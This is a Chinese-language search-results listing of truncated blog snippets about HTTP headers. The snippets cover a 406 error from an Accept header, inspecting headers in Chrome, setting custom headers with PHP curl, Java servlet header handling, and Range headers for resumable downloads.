  • 最近在调试 前后端分离的请求测试,遇到了一个406错误, 无法接受,于是开始了人肉搜索406最后 还是HTTP头部信息里的Accept:application/json 这个Accept 导致的, 后端设置了只允许application/json 这种形式,so...
  • 使用chrome浏览器查看当前网页的http头、审查元素查看网页、cookies等方法步骤
  • 使用chrome浏览器自带的开发者工具查看http头的方法 1.在网页任意地方右击选择审查元素或者按下 shift+ctrl+c, 打开chrome自带的调试工具; 2.选择network标签, 刷新网页(在打开调试工具的情况下刷新); 3.刷新后在...
  • php curl设置自定义的HTTP头

    万次阅读 2015-07-16 15:09:24
    把自定义http头放入hearders array, 然后用CURLOPT_HTTPHEADER设置。 $headers = array(); $headers[] = 'X-Apple-Tz: 0'; $headers[] = 'X-Apple-Store-Front: 143444,12'; $headers[] = 'Accept: text/html,...
  • http 信息详解

    千次阅读 2016-05-11 21:36:53
    客户端向服务器发送一个请求,请求包含请求的方法、URI、协议版本、以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码
  • java 查看 HTTP 信息

    千次阅读 2011-09-15 11:23:55
    Java 其实很强大。可以获取HTTP头的详细信息,做出更为细致的处理,如获得文件最后修改时间等。 代码: void doPost(HttpServletRequest req, HttpServletResponse resp) throw
  • http断点续传原理:http头 Range、Content-Range 所谓断点续传,也就是要从文件已经下载的地方开始继续下载。在以前版本的 HTTP 协议是不支持断点的,HTTP/1.1 开始就支持了。一般断点下载时才用到 Range 和 Con

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,078,373
精华内容 431,349
关键字:

http头